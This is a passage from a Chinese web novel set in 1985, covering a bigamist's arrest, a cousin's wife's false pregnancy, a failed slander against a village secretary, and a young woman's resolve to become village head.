以前也没听说许巧燕有这么一个不好惹的表妹,这丫头片子从哪儿蹦出来的? 分别前,贺明珠忽然提起另一个话题。 “对了,你不是说你妈快死了吗?今天我看老太太活蹦乱跳,一看比你都能活啊。” “贾志文,你当丈夫当爹不行,当儿子也不行,可真是个大孝子。” 贾志文要被气死了。 贺明珠回了一趟许家村,把存折交给了许巧燕。 得知存折里的四千块钱是贾志文给的,许巧燕下意识就要拒绝。 “俺自己能养活灵灵,才不稀罕姓贾的臭钱。” 贺明珠却说:“为什么不要?你不要钱,他只会笑你傻,高高兴兴地把这钱投入他的新家,养他的新老婆和新孩子,吃亏的只有你和灵灵。” 许巧燕居倔强道:“那俺也不要,俺们和他没关系,以后各过各的,就当灵灵是俺一 个人生的。” 贺明珠说:“姐,你可以否定和他的夫妻关系,但否定不了灵灵和他的血缘关系。他现在可以不抚养灵灵,等七老八十了,却能回头找灵灵养老,法院也要和稀泥。与其白白让他占便宜,倒不如现在就让他出血,也让他疼一疼。” 许巧燕还在犹豫,贺明珠索性说:“别想了,这钱归灵灵,喏,存折上写着灵灵的名字呢。你再努把力,往存折里添点钱,让灵灵成为村里第一个万元户。” 许巧燕憋不住笑了。 “她一个小人儿,要这么多的钱干什么?好了,俺懂你的意思了,就算为了不让姓贾的好过,俺也得把这钱收了。” 贺明珠一拍手:“这么想就对了!” 谈妥了存折的事,贺明珠找到许大舅,他正蹲在屋后抽闷烟。 见是贺明珠,许大舅勉强挤出一丝笑:“明珠来家了?等会儿让你妗子炖只鸡,你搁家吃完再回矿务局。” 贺明珠说:“我找着表哥了。” 许大舅猛地站起身,手里卷烟的烟灰落在身上,他也顾不上掸一掸。 “他在哪儿?!” 表哥今天总觉得心一直在跳,砰砰地,跳得他手指发麻。 表嫂在屋里喊他:“去给俺烘俩红薯,再拌个柿子,撒点儿白糖。” 表哥没好气地说:“吃吃吃,一天就知道吃,不就是怀个孕,整得跟残废了似的,天天在炕上躺着不动。” 一个破破烂烂的枕头被砸出来,伴随的还有表嫂的吼声。 “要不是为了给你家生娃娃,俺至于躲在这破屋子里不敢出门吗?!有本事别做,俺现在就走回村里,让妇女主任带俺去卫生院把娃娃打了!” 表哥急忙道:“瞎说什么!俺就去,这就去弄饭!” 他和表嫂现在住着的地方是贾志文给找的,位于乌城的出城口,马路边一栋独门独院的老屋。 这屋子年岁可以追溯到建国前,用摇摇欲坠来形容都显得有些含蓄。 房顶是茅草加油毡,密封性接近于无,屋外下大雨,屋里下小雨,淅淅沥沥的,连杯子都要拿去接雨,睡觉时得在头上撑一把伞。 墙就更别提了,肉眼可见的倾斜,屋外用木棍撑着,才能维持墙不倒塌。 屋子没通自来水,要去街口的公共水龙头接水;也没有厕所,每天早上都要去倒马桶。 贾志文吓唬他,说现在计生委的人天天上街抓超生,让他没事别出门,也别告诉别人他在哪儿。 表哥怕被人发现屋里藏了个大肚婆,平日里不许表嫂出门,自己买菜打水倒马桶,比在村里时要累一千倍。 而且城里咋这么费钱,处处都要钱,想吃个西红柿都得去菜市场买,哪像在村里,直接去自己地头摘一筐子,一分钱不花。 这几个月,表哥过得心惊胆战。 有时他睡着了,风吹得院门晃动,或是外面街上有人路过,都能吓得他一激灵,从炕上爬起来,竖起耳朵去听。 在这样的煎熬中,唯一能支撑表哥的就是多生几个儿子,将来让儿子养,他就再也不用干活了。 眼见表嫂的肚子一日大过一日,表哥颇受安慰,感觉自己怎么也能撑到生产。 但这天,表哥莫名有种不安预感。 “你在家把门关好,谁叫也别开,俺去打桶水,一会儿就回来做饭。” 表哥嘱咐完表嫂,想想不放心,又从外面反锁了房门,把钥匙揣进兜里,这才稍微感到安心。 他拎着两个空桶去打水,今天水龙头旁排队打水的人特别多,等了好一会儿才轮到他。 表哥辛苦地提着两个沉甸甸的水桶回去,好不容易走回去,正要拿钥匙开门,门却从里面打开了。 “王八羔子,可算让老子逮住了,俺看你还能跑哪儿!” 表哥呆滞了。 “爹……爹?” 听到外面传来鬼哭狼嚎的声音,贺明珠不为所动,目光盯着表嫂的大肚子。 表嫂朝后缩了缩,小声地问:“你……你来干啥?” 贺明珠仰天长叹。 “我来收拾烂摊子。” 许大舅痛痛快快地打了一顿表哥出气,让同行的许贵生看住他,自己走进屋子,心情复杂地看向大腹便便的儿媳。 “唉……回吧,你妈和你儿子都在家里等呢。” 提起许久未见的大儿子,表嫂眼圈红了,从炕上蹭着挪下地。 “俺跟你们回去。” 表哥扯着嗓子大喊:“不能回!回去就没有二娃了!说破天也不能回!” 许贵生拉住他,劝道:“你小点声吧,四叔正生气呢,小心一会儿接着收拾你。” 表哥的喊声一顿,再开口时声音弱了许多。 “那也不能回……爹,那可是你孙子,亲孙子!” 贺明珠问:“大舅,你怎么想?” 许大舅长长叹了一口气。 “这孩子投胎到俺们家,就是和家里有缘,来了就好好养着吧。唉……都是命,这都是命……” 他摇摇头,颓然地坐到一边。 表哥像是打了一场胜仗,鼻青脸肿也遮不住他脸上的喜色。 表嫂脸上反而有些忐忑,双手下意识抚住了凸起的腹部,眼神游移,不知道在想什么。 贺明珠对许大舅说:“既然要留,那咱们就按留的来。我联系好医院了,先过去做个产检,顺便建个档,将来就在医院生孩子,大人孩子都安全。” 表哥这段时间已经相当了解城里的烧钱速度,闻言就说:“花那钱干嘛?在村里生就行,老大不就是这么生的,村里女人哪有这么娇贵,还去医院,都是惯得。” 此话一出,就连心不在焉的表嫂都转头怒视表哥。 许大舅喝道:“闭嘴!” 表哥心不甘情不愿地闭上了嘴,满脸都是不服。 不过没人在意他的想法,最后还是去医院做产检。 一行人等在B超室外,表哥心情大好,对着计划生育的宣传画大放厥词。 “什么叫生男生女一样好,这不是扯淡吗?能生儿子,谁稀罕闺女?都是没人要的赔钱货,窝囊废才只敢生一个闺女。” 他嗓门大,医院走廊上来来往往的人纷纷侧目,看看是哪个傻子说这种话。 也有人露出赞同的目光,碍于身份无法公开支持,还得对身旁的孕妇说:“别听他的,乡下人才这么想,我们有正经工作的人,可不能有这种不正确的想法。” 表哥恍然不觉,还在自顾自地说着。 “还得是这胖小子看着来劲儿,俺要是有好几个儿子,下 地干活都有劲儿!” 贺明珠故意问他:“你现在就有儿子,可你也没下地干活啊。” 表哥的懒是出了名的,能不干活就不干活,贺明珠这么一说,表哥的脸上挂不住。 “谁说俺不下地……俺回去了就下……” 贺明珠又问:“你说生闺女没用,你是觉得巧燕姐没用,还是觉得我没用?或者是,你觉得你比我们两个都有用?” 这话扎心,饶是以表哥的厚脸皮也顶不住了,嘟嘟囔囔地说:“说这些有的没的,关你啥事……” 这次不等贺明珠开口,许大舅先斥道:“闭嘴!” 他不留情面地说:“什么儿子女儿,最没用的就是你!要是有的选,俺当初就不该生你!要是儿子都是你这样,俺宁愿你娘当初生的都是闺女!” 表哥不可置信道:“爹?!” 许大舅怒道:“别叫俺爹!你现在本事大了,翅膀也硬了,不让俺管,俺也管不了你。等回去了就分家,以后你爱咋过就咋过,爱生几个就生几个,俺不管了。” 表哥有点慌。 “爹,你别说这气话,等你二孙子出生了,你喜欢还喜欢不过来呢,怎么舍得分家?” 表哥还在试图以虚无缥缈的二孙子唤醒父爱时,B超室的门开了,带着口罩的医生从里面走出来,表嫂跟在医生后面,脸上表情慌乱中还有几分茫然。 医生看向几人,不客气地说:“你们就是家属?病人怀没怀孕,别人不知道,你们自己还不知道啊?没怀孕做什么产检,医院这么忙,你们这不是添乱吗?” 没怀孕??? 表哥这下是真慌了。 “大、大夫,你啥意思?俺儿子,俺儿子呢?” 其他人都站了起来,吃惊地看着医生。 医生不耐烦地说:“没怀孕哪来的儿子。行了,赶紧带人回去吧。对了,病人说她生过一个小孩——都有孩子了,还怀什么怀?” “再说了,就算没怀孕也不能吃这么胖,腹部都是脂肪,机器照上去什么都看不清,这对身体能好吗?” 表哥人都傻了,木楞楞地站在原地,耳边很遥远的地方传来医生的话。 “你就是病人丈夫吧?女人上环伤身,你有空来医院一趟,把结扎做了。真是,想生孩子想魔怔了……” 医生后面的话他已经听不清了,眼前一片黑。 在之后,他什么都不知道了。 家属突然晕倒,医生大吃一惊,连声道:“怎么突然就晕了?我也没说什么啊。你们可都看得清清楚楚的,我一指头也没碰他,你们可别讹我啊。” 贺明珠安慰道:“没事,医生,不关你事,就是梦想破灭,他有点崩溃。” 医生嫌弃道:“一个大男人就这点心理承受能力,还生什么老二,他生得明白吗?” 贺明珠忍笑:“您说的对,确实生不明白。” 医生检查了一下表哥的状态,见他确实无大碍,便说:“行了,没事就回去吧。等他醒了,你们来医院把结扎手术做了,正好有政策,可以免费结扎,也省得老惦记生生生的。” 表嫂磨磨蹭蹭走到许大舅身旁。 “公爹……” 许大舅长舒一口气,拍拍她的手背。 “什么也别说了,回家吧。” 第154章 第154章尘埃落定 许家村。 许金财正对专案组的人添油加醋,势要把带头违反计划生育政策这顶大帽子扣在许大舅头上。 “领导,拆俺砖窑这件事俺认了,就当是为村里做贡献;可凭什么他许国忠带头违反政策?!俺们都老老实实地生一个娃,凭什么他就敢让儿子生老二?这是村支书应该干的事吗?他这是以权谋私!把村里的风气都带坏了!” 专案组的人也有些踌躇。 虽然许大舅确实带着村民致富,去年许家村的亩产量跃居全县第一,而粮食品质还是一等一的好。 但考虑村支书带头违法的不良影响,致富的功劳也得排到后面。 “这个情况如果属实,确实是要严肃处理的……许金财,你有什么证据能证明吗?” 许金财激动道:“这还要啥证据,家里藏了个大肚婆算不算?俺兄弟亲眼看到的,刚刚许国忠领着儿子儿媳回来了,那女人顶了个大肚子,一看就快生了!” 闻言,专案组的人当机立断,让许金财在前面带路,去往许大舅家。 沿路的村民得知是去抓大肚婆,纷纷跟上去看热闹,队伍越来越壮大,大半个村的人都来了。 许金财趾高气扬走在最前方,来到许大舅家后,抬脚踹门。 “许国忠!你赶紧开门,我们已经把你包围了!你躲不了的!开门!俺知道你在家!” 专案组的人听着不对,这语气怎么跟鬼子进村似的。 他推开许金财,自己亲自去敲门,边敲边说:“许国忠,我们是乡里专案组的,来找你了解一下情况。” 不多时,门开了。 许大舅站在门口,面色平静。 “同志,你想了解啥俺都配合,就是只有一条——” 他抬手指向许金财:“他不许进俺家。” 许金财跳脚:“许国忠,你就是心虚!你屋里藏了啥不能叫人看的?!你不让俺进,俺还非进不可!谁不知道你在乡里有关系,你背着大伙儿想做啥?!” 人群中响起嗡嗡的讨论声,有人相信许大舅,有人觉得许大舅变了,还有人说他要是不心虚,为啥只叫专案组的人进家,还不是怕看到的人多了,他说不清。 议论声中,许大舅猛地拉开了大门。 “全村的男女老少,除了许国忠,谁都能进来。俺行得正坐得端,不怕叫人看。” 许金财这话被堵了嘴,先是要发怒,被他兄弟扯了扯胳膊,眼睛一转,便说:“俺不进就不进,有这么多人看着,俺就不信你还能把大家伙儿全收买了!” 专案组的人先进去,接着是村里的人,将许大舅家的院子塞了个满满当当。 还有一些人和许金财一样站在门口,没有进去。 许金财等得无聊,就问他们:“你们咋不进去?” 其中一个瘦瘦的年轻人瞪着许金财:“俺们和你不一样!俺就不信四叔是那样的人,就没有必要进屋检查!” 许金财认出他,这小子家里以前是村里出了名的穷,妈裹小脚,爹有病,全家就靠他一个人种地,穷得连媒婆都不上门。 也就是最近跟着许国忠搞什么联产小组,穷家破落户的还抖起来了,都敢这么和他说话。 许金财嗤了一声。 “毛都没长齐的小子,你懂个甚!许国忠要是个好的,乡里会派专案组?他也就骗骗你们这些不懂事儿的小年轻。你就等着看吧,一会儿专案组就把他的皮扒下来了!” 年轻人重重地哼了一声,只当许金财在放屁。 就在许金财还想再说些什么时,门开了,陆陆续续有人走了出来。 “哎呀,这事儿闹的……” “这谁能想到呢……” “这以后还咋和四叔说话,俺都没脸……” “唉,快别说了,俺还想去联产小组呢……” 有人拿眼睛去瞪许金财,脸上满是鄙夷。 “咋有这种人在俺们村,咋这么见不得人好……” “一天天的张嘴胡咧咧,一句准话都没有,看到他都晦气。” “去去去,别挡路,碍手碍脚的,看见你就心烦!” 许金财见势不对,急忙拉住人问:“这是咋啦?你们没看见许国忠家里的大肚婆?” 被他拉住的人不耐烦地说:“看见了,咋了?” 许金财一肚子的疑惑。 “看见了你们不生气?” 他又老调重弹:“他不叫你们生娃娃,自家躲起来偷生……” 话没说完,被人打断:“谁说人家小媳妇怀的一定是娃娃?” 许金财下意识问:“不是娃娃还能是啥?” “那是吃多了长的肉!” 专案组和村民进了许家后,要 检查表嫂是不是真的怀孕了。 表嫂本来说什么也不出来,藏在屋里躲羞,可当听到要罢免许大舅的村支书,还要追究超生的责任时,她忍着羞走了出来,说自己没怀孕,只是吃胖了。 所有人都不信,以为她这是在狡辩。 表嫂解释不清,索性把医院检查报告拿出来,又把几个婶娘叫进屋,掀开了衣服,让她们看肚子。 婶娘们都生育过,一看表嫂的肚子形态就不像怀孕,再上手一摸,软绵绵的肥肉,完全摸不到胎儿的存在,这才相信了表嫂的话。 有人不解,问表嫂:“没怀孕你躲起来干啥?” 表嫂低着头不说话。 表哥一直催她怀孕,表嫂自己也觉得多子多福,但奈何肚子不争气,自从生了老大后再没动静。 表哥隔三差五就问,一听没怀就唉声叹气,还给表嫂甩脸色,埋怨她是不会下蛋的母鸡。 时间久了,表嫂的心理压力越来越重,想怀孕想到魔怔,竟然开始干呕反胃,出现了假孕症状。 她以为自己终于怀孕,把这个好消息告诉了表哥,两口子欢欣鼓舞,当机立断决定去找贾志文,在城里躲起来生孩子。 随着月份越来越大,表嫂开始发觉不对。 怎么这次怀孕完全没有胎动呢? 她心里的不安越来越强烈,但这段时间表哥对她百依百顺,她心惊胆战地享受,时间长了,愈发地不敢去细想。 直到许大舅突然出现,还带她去医院做了产检。 “国家都说了,只生一个好,俺现在有娃娃,还生那么多做啥?养好这一个就够了。” 表嫂抱着儿子,把脸贴在他的小脸蛋上。 “谁爱生谁生去,反正俺是不生了。” 其他人连声称赞:“到底是国忠书记家的人,思想觉悟就是比一般人高。差点被许金财给骗了,他就是黑心,想给国忠书记使坏。” 表嫂心虚地笑笑,不敢抬头去看大伙儿的表情。 许金财在得知这个噩耗之后,满脸都是不可置信。 “咋可能是肉?!那分明是娃啊!你们肯定弄错了,她肯定是生完娃回来的!” 村里人鄙夷地说:“你魔怔了?这才几个月,就算是真怀孕,这月份的娃娃生下来能活?” 许金财喃喃道:“不可能,不可能……绝对不可能……” 这时,一行人走过来,是专案组。 “许金财,许国忠的事我们已经查清楚了,他没有任何问题。倒是你,捏造事实,诬告陷害许国忠,差点导致党和国家的好同志被冤枉,你要对你的所作所为此承担责任!” 许金财猛地抬起头,看到专案组的人严厉的表情,腿一软就坐到地上了。 完了,这下全完了…… 乌城。 今天是丈母娘家聚会的日子,贾志文特地请了一天假,一大早就去了丈母娘家,自带高档食材去当厨子。 当他在厨房挥汗如雨时,外面客厅聊得热火朝天。 “你们挑了个好女婿啊,都说一个女婿顶半个儿,像小贾这样的,都可以顶一整个儿子了。” 丈母娘谦虚地说:“还行吧,小贾家庭条件一般,但这孩子眼里有活儿,也算不错。我们家姑娘从小被惯坏了,就得找个人照顾她。要不然,也不一定非得是小贾。” 另一个亲戚说:“这结婚也有几年了吧,还不打算要孩子吗?我看小贾年纪也不小了啊。” 丈母娘说:“我姑娘还小呢,不急生孩子,让她再松快几年,生孩子太辛苦,我可不舍得让她这么早就受罪。再说了,我和她爸过几年才退休,不着急,等我们退了正好能帮忙带孩子。” 又有亲戚说:“找个保姆就行,不少农村小姑娘来城里当小保姆,手脚麻利,干活儿可省心呢。” 往她闺女家里招一个不一定貌美但一定年轻的女人? 丈母娘不置可否地说:“再说吧,不着急,我们家孩子还小呢。” 亲戚们对视一眼,默契地笑了。 就知道这家惯闺女,要不然也不能拿姑爷当苦力使唤。 不过那姑爷要不是上赶着求娶,且还轮不到他呢。 贾志文一个人在厨房做一桌子的大菜,累得连喘气工夫都没有,上完一道菜又忙下一道。 等到全部菜都上完了,外面也吃的差不多了。 贾志文的城里媳妇吃饱了一抹嘴离席,对贾志文说:“今天的鱼烧得有点咸了。” 贾志文看看满桌残羹,火一股股地冒出来。 真当他是小工了? 什么意思,吃饭都不等他,退一万步说,哪怕单独给他留点菜呢?! 丈母娘人老成精,看出女婿的不快,但她不在意,淡淡地说:“今天这条鱼是我带回来的海鱼,小贾没吃过吧。这海鱼的肉质本来就发咸,你再加盐,吃起来就更咸了。” 贾志文忍气吞声:“妈说的是,我下次注意。” 丈人走过来,给贾志文塞了五块钱。 “亲戚们难得见面,聊得太高兴了,不小心就把菜都吃完了。小贾,你拿着钱,自己去外面饭店吃点什么,别不舍得,该花就得花。” 贾志文挤出一丝笑容:“好,爸,我记住了。” 他要穿衣出去,丈母娘又喊住他。 “等等,你把桌子收拾一下再走,这油腻腻的,把客厅的地方都占了。” 亲戚们有看不下去的,主动过来帮着一起收拾。 贾志文挽起袖子:“您坐,您坐,这点活儿我来就够了……” 正说着话呢,突然传来敲门声,急促而猛烈。 贾志文的城里媳妇过去开门。 “来了,来了,别催了……” 可当打开门后,她楞在门口,半响没动。 丈母娘走过去:“这是谁来了啊?” 当看到门口穿着白色制服的公安时,丈母娘的脸色一下子变得煞白,腿软得站不住,丈人的表现也不例外,两人就像是被猫盯上的老鼠。 公安走了进来,没管门口呆立的一家三口,目标明确地朝着贾志文冲过去。 “贾志文,你涉嫌重婚罪,和我们走一趟吧!” 贾志文吓得一屁股坐到了地上,语无伦次:“我,我,我……不是……不是……我……” 他最害怕的事发生了。 城里媳妇和丈母娘同时瞪大了眼睛。 城里媳妇尖叫:“什么?重婚罪?!贾志文,你说清楚,什么重婚罪,你敢背着我和别人结婚?!” 丈母娘见多识广,立刻意识到问题所在。 “小贾,你是不是下乡的时候娶了一个村里媳妇?!你没和人家离婚,就又和我姑娘结婚了?!” 亲戚们都惊讶极了,围在门边,看看贾志文,再看看丈母娘一家三口,深感这次聚会来得可真值,这不比电视还好看。 贾志文瘫软在地,一句话也说不出。 丈人还冷静些,试图和公安沟通:“同志,是不是搞错了,小贾怎么会犯罪呢?他要是结过婚,单位怎么还会给他开结婚介绍信?” 公安被人群围着,无法逮捕贾志文,严肃地说:“请你们不要妨碍我们工作!” 丈人拉过妻女,让她们冷静一些,自己则上前熟稔地拉关系,说自己认识公安局的某某领导,还和某某领导是同学同乡之类的话。 见对方面色缓和了些,丈人又说:“同志,不是我们不配合你的工作,实在是太过匪夷所思,让人无法相信啊。我们家都是有头有脸的人,突然出了这样的事,总要有个说法才是。” 看在某某领导和某某领导的面子上,公安多解释了一句。 “犯罪嫌疑人在宁县插队的时候,和当地姑娘在公社办理了结婚登记;他回城后隐瞒了这段婚姻,又和其他人领了结婚证——他的行为已经严重违反了刑法!不管你认识谁,现在还请配合我们的工作!” 听完公安的话,亲戚们连连惊呼。 这八卦可太带劲儿了! 丈人站不稳,往后退了好几步,直到被丈母娘扶住才停下。 在公安给 贾志文带上手铐,即将带走他的时候,贾志文像是才反应过来,拼命转头去喊: “爸!妈!媳妇!我是冤枉的!救我,救我!” 然而,直到他被拖入警车,那一家三口只是憎恶地看着他,就像看到一只爬进了碗里的鼻涕虫。 贾志文知道,完了,全完了,这次他彻底完了。 不引人注意的地方,贺明珠目送警车离开,轻轻拍了拍许巧燕的手。 “结束了,我们回去吧。” 许巧燕表情复杂,不知在想什么。 虽然是贺明珠发现了贾志文重婚,但报警的决定却是许巧燕做的。 毕竟贾志文做人再下作无耻,他也都是灵灵的生物学父亲,这是无法更改的事实。 未来不管灵灵想要考公还是参军,都要进行严格的政审,甚至有的职位会调查父母有无犯罪记录。 考虑到这一点,让贾志文以重婚罪入狱就变成了一把双刃剑,他会受罚,但灵灵的利益也可能会受损,想打老鼠又怕伤到玉瓶,逼得人左右为难。 然而,许巧燕却说:“报警,必须报警。” “姓贾的有胆子当陈世美,两头的好处都想占,蹲大牢也是他活该,要不是现在是新中国,就该用虎头铡斩了他的脑袋!” “至于灵灵,俺闺女不是个孬的,没了这个爹碍事,以后的日子只会更好。” 许巧燕亲自拿着结婚证去公安局报了警,看着警察记下贾志文的名字、身份证号和住址,她心里忽然有一块大石被彻底挪开。 一切都结束了。 第155章 第155章1985年的秋天 一场风波消弭,迎来了这一年的秋天。 1984年的大丰收促使国家在1985年初出台了新政策,粮食由统购统销转为双轨制,也就是说,农民收获的粮食一部分按定购价上交国家,剩下的则可以投入市场自由出售。 前者被称为平价粮,后者被称为议价粮。购买平价粮仍然需要粮票,但议价粮不受此限制,可以任意购买。 以前一家人需要数着粮票吃饭,不够吃的话,要么勒紧裤腰带,全家人一起忍饥挨饿;要么花高价在黑市买高价粮。 而现在,粮店多了一个“议价柜台”,其所出售的粮食虽然比平价粮略贵了一些,但还在普通人可以承受的范围内,原本不够用的粮票,如今也开始有了结余。 自由市场上出现了卖粮食的商贩,种类多样,绿豆、红豆、黑米、黄米、江米……极大地丰富了人们的餐桌,而且服务态度相当好,随售随磨,米面更新鲜。 而粮店品种单调,只有两白一黄,渐渐地冷清下来,再不见原先排长队卖粮食的人群。 贺明珠终于不需要想方设法地偷偷从村里买粮食了,之前她托许大舅帮忙联系有意卖粮的农民,双方都很小心,粮食买卖干出了走私军|火的感觉。 如今可以敞开购买粮食,再不需要用土豆红薯南瓜来变着花样地哄肚子。 贺明珠大手一挥,菜单上多了数道各地特色的主食。 有云南的饵块,用大米做成,软糯弹牙,或炒或烧或卤,不管是蘸甜面酱还是辣酱,搭配爽口的小菜,哪怕是裹上油条,怎么做都好吃; 有新疆的馕,比脸都大,厚实松软,吃起来有种沉甸甸的扎实感,能够给人以切实的“吃饱了”的满足感和幸福感。 有山陕的臊子面,新鲜小麦磨成的面粉,雪白面团摔在案板上,一双大手发力揉搓,或宽或窄的面条抛进滚烫汤锅,热腾腾地捞出后浇上一勺油润喷香的臊子,香的人吃得不抬头。 深加工的精细米面吃多了,粗粮也不能少。 陇西的搅团,晋北的莜面,东北的荞麦冷面……林林总总,不一而足。 矿务局的人们大开眼界,足不出户就能享受到全国各地的特色美食。 一时间,煤矿人家和乌金年代的门槛都要被纷沓而来的食客们踩破了。 人们埋头苦吃,享受着迟来的饱足感。 这个秋天,注定是一个贴膘的季节。 九月过后,贺明珠就是一名高三生了。 八十年代大学没有开始扩招,学校数量也相当有限,不少后世的大学此时还是专科学校,高考的难度极高,真正意义上的千军万马过独木桥。 饶是贺明珠有后世的记忆,此时也必须要将绝大部分精力都投入到学习上——除非她想考一家职专,然后指望学校有出息,将来从专科升为本科,连带着学历水涨船高。 不过重生一次,抱大腿等带飞不是贺明珠的风格。 她要攀上最高的山峰,站在最险峻的位置,去看无人见过的风景,无论要付出多少艰辛,哪怕双脚鲜血淋漓,因为这是她的决定。 为此,贺明珠全身心都投入到学业,难得做起了甩手掌柜,几乎将所有事务都交给了其他人负责。 贺明军说:“放心,等你高考完,你会发现咱家的店不仅开遍了乌城,而且还开到了省外,会有更多的人知道煤矿人家和乌金年代的名字,所有人都会爱上我们店里的美食。” 徐和平拉着杨冬梅向贺明珠下军令状。 “老板你放心,在你冲刺高考的这段时间,我们保证完成生产任务,保证不会丢掉市场!我们已经在找面积更大的新厂房了,等你高考完,你就会发现咱们厂的生产总量翻了一番,啊不,好几番,大江南北的人都能尝到煤矿人家牌罐头!” 冯解放把田润花带到贺明珠面前。 “我年纪大了,迟早有一天要干不动。不过小田是个好的,她现在管着食堂大大小小的事,精干利落,是个能干的。现在趁着我还能干动,扶上马送一程,把小田带出来。将来啊,是你们年轻人的天下了。” 曹全安则是领着他儿子和齐小弟来见贺明珠。 他把胸脯拍得砰砰响:“老板,不是我自夸,这俩小子个顶个的好,我儿子的手艺有我的八九分了,客人们吃了都说好!而且这小子脑子活,自己琢磨了不少时令新菜,特好吃,有机会您来尝一尝。还有小田,这孩子刚来店里时还有点楞,现在可不得了了,灵得很,店里大大小小的事都离不开他。他们俩一个在前厅一个在后厨,保准能把店开得红红火火!” 就连费立广也别别扭扭地找贺明珠。 “那什么,我是不想来的,但小纪非要我来,说什么一定要给你吃个定心丸——嘿,你说所,这年轻人就是想法多……不过啊,赚钱虽然重要,但高考到底是个要紧事,你还是专心学习吧,店里有我,出不了事儿的。” 贺明珠玩笑道:“就是因为有你在,我才不放心啊。” 费立广瞪起眼睛:“哎,你当老板的怎么能这么说,多伤人心啊。” 贺明珠做思索状:“唔……不是我说啊,费师傅,你的心灵有那么脆弱吗?能比二十年汾还脆弱吗?” 费立广心虚,不久前他偷喝店里的酒,失手打破了贺明珠珍藏的汾酒,被贺明珠揶揄了许久。 “哼,不跟你一般见识……你好好学习啊,不考个清华北大可不行,我们都等着你回来呢!” 百忙中,贺明珠还抽空回了一趟许家村。 许大舅正式和表哥分家了,请了村里的老人作见证,承包田和宅基地都分出去,从此一家变两家。 表哥当然是不肯的。 他先是不信,然后哀求,最后气急败坏地怒骂,但许大舅心意已决,无论他说什么都无法更改。 大舅妈想说点什么,毕竟这是唯一的儿子,将来养老还要靠这个儿子。而且表哥惫懒惯了,让他分家单过,他能把日子过好吗? 大舅妈把疑惑说出了口,许大舅说:“没了他,咱们家就过不了日子不成?俺看倒不一定,家里没了懒汉,全家的日子都更好过。有他在,俺七老八十还得下地!” 大舅妈说:“可,可……” 许大舅打断她 的话:“没什么可说的,俺俩也不是只有这一个小子,还有巧燕呢,她难道就不比她哥强?俺看倒不见得!” 看到许大舅坚定如岩石般的面孔,大舅妈的话咽了回去,没说出口,只是在分口粮时,给表哥夫妇多分了一些,免得他们饿死在冬天。 表哥忿忿不平。 “哪有这种爹,舍得把亲儿子亲孙子赶出家!俺不就是想生老二吗?以后他老了,俺才不养他,也不给他摔盆。他不是觉得闺女好吗?让他跟她闺女过去吧!” 许巧燕听到这话,气不打一处来,当即道:“跟俺过就跟俺过!俺以后养爹娘,才不稀罕他!当男的有什么了不起,不就是多了一块肉吗?俺就不信了,没了他,家里日子还能过不下去?” 贺明珠连声夸道:“巧燕姐你这么想就对了!谁说女子不如男,我看分明是女子胜过男。你勤快肯干能吃苦,哪里就比男的差了?你要是总想着自己是个女的,总惦记什么是女人应该做的、什么是女人不应该做的,那才是自讨苦吃呢。” 许巧燕以前受大舅妈影响,在不自知的情况下被重男轻女的思想污染了,潜意识里总觉得自己不如男人有用,将来迟早要嫁出去,成为别人家的人。 可经过贾志文这一遭,受了几年磋磨,在最无力最绝望的时候,被贺明珠拉了一把。 她开了粉条厂,带领村民致富,成了公认的能人,村里有什么婚丧嫁娶的事,都要请她坐主桌 ——这可不是什么人都能得到的殊荣,至少仅凭性别为男是不够的。 渐渐地,许巧燕自己的心理也产生了变化。 她开始怀疑大舅妈教她的那一套,开始怀疑村里根深蒂固的传统思想,开始怀疑自己。 她是母亲的女儿,也是女儿的母亲。 日复一日,年复一年,许巧燕终于迎来了属于她的蜕变。 “明珠,俺想明白了,女人比男人差哪儿了?凭什么俺哥就敢觉得家里非他不可?凭啥他觉得自个儿啥也不干,会生儿子就了不起——那娃娃还不是他亲自生的,是俺嫂子费了大劲儿才生出来的。” 许巧燕的眼睛亮极了,像是有火在燃烧。 “俺不比他差,俺比他更好。他是个男的了不起,俺还是个女的呢!俺比他更了不起!” 贺明珠极为专心地听着,仿佛在见证一场破茧。 许巧燕说:“俺活到这个年纪才想明白俺不能这么活了。可灵灵,还有村里的女娃娃们,不能叫她们和俺似的,想想这么多年才想清楚。” 她看向贺明珠,目光极为坚定。 “明珠,俺要当村长,俺要让村里所有人都看到,女人不是只会嫁人生娃娃。” “女人,从来都不比男人差。” 伴随着许巧燕的话语,恍惚间,贺明珠仿佛看到上一世干瘪枯萎的表姐。 她匆匆将自己嫁给了隔壁村把老婆打走的男人,在如同溺毙的忍耐中,竭力将灵灵托举到水面,自己却最终沉入了这片绝望的黑暗。 贺明珠又像是看到了这一世初见的许巧燕。 她带着灵灵躲在灶台,惶惑而疲倦,像是一只无脚鸟,不知道该去往何处。 而现在的许巧燕面庞红润,声音有力,眼神中满是坚定,极为热烈的生命力,像一杯盛满了的热牛奶,满得几乎要泼洒出来。 她知道自己的来处,也决定了自己的归处。 她摆脱了别人,或者说,这个世界,强加在她身上的桎梏。 并且,她还决定要将这无形的枷锁从其他人的身上也剥离下来。 这是贺明珠所见过的,最盛大的,最耀眼的,也是最悄无声息的化茧成蝶。 贺明珠发自内心地笑了:“我相信你。” 相信她会将这份挣脱枷锁的力量传递给更多人。 未来,会有更多的蝴蝶会在这片土地上自由飞舞。 第156章 第156章冬天涮锅 又是一年屯菜季。 贺家的仓库里整整齐齐地摞了半面墙的白菜,土豆堆成了山,墙角垒着各式咸菜罐子,一瓶瓶的西红柿酱像是等待检阅的士兵。 天气一日日地冷下来,地上起了一层白霜,呼吸间像在吞吐云雾,先是冻手,然后是冻耳朵,现在连眼珠子都感觉要被冻住了。 天气的寒冷愈发突显了室内的温暖。 今年贺家住上了暖气房,夏天的时候,贺明珠找工人在房后空地建了一座小型锅炉房,可以给自家供暖。她又托人买来老式的暖气片,安装在每个房间。 深秋的时候,贺家的锅炉房首次启用,融融热力消解了屋里刺骨的寒意,暖和得让人忍不住像只猫一样,懒洋洋地瘫在床上。 恰好,贺家也有一只猫。 自从三产房子被收走后,煤矿人家的摊子挪到了食堂,贼猫也跟着搬了过去。 食堂来来往往的人多,其中有不少喜欢猫的,哪怕是贼猫这种丧彪型长相都稀罕。 贼猫过上了团宠的生活,每顿饭都有人投喂肉食,吃得它吹气球似的胖了起来,圆滚滚的,连身上的花纹都撑开了,每天吃饱了就往阳光好的地方一瘫,四仰八叉地晒太阳,也不管这位置挡不挡道反正人类会绕路的。 原先贼猫还是个抓耗子的好手,往那儿一镇,耗子都得绕着走。 现在就不成了,耗子们发现这大肥猫是个银枪蜡样头,看着吓鼠,实际毫无战斗力,跑两步就喘,时间长了,甚至连那两步都不愿意跑,就算有耗子从它鼻子前蹿过去,这猫也当没看见。 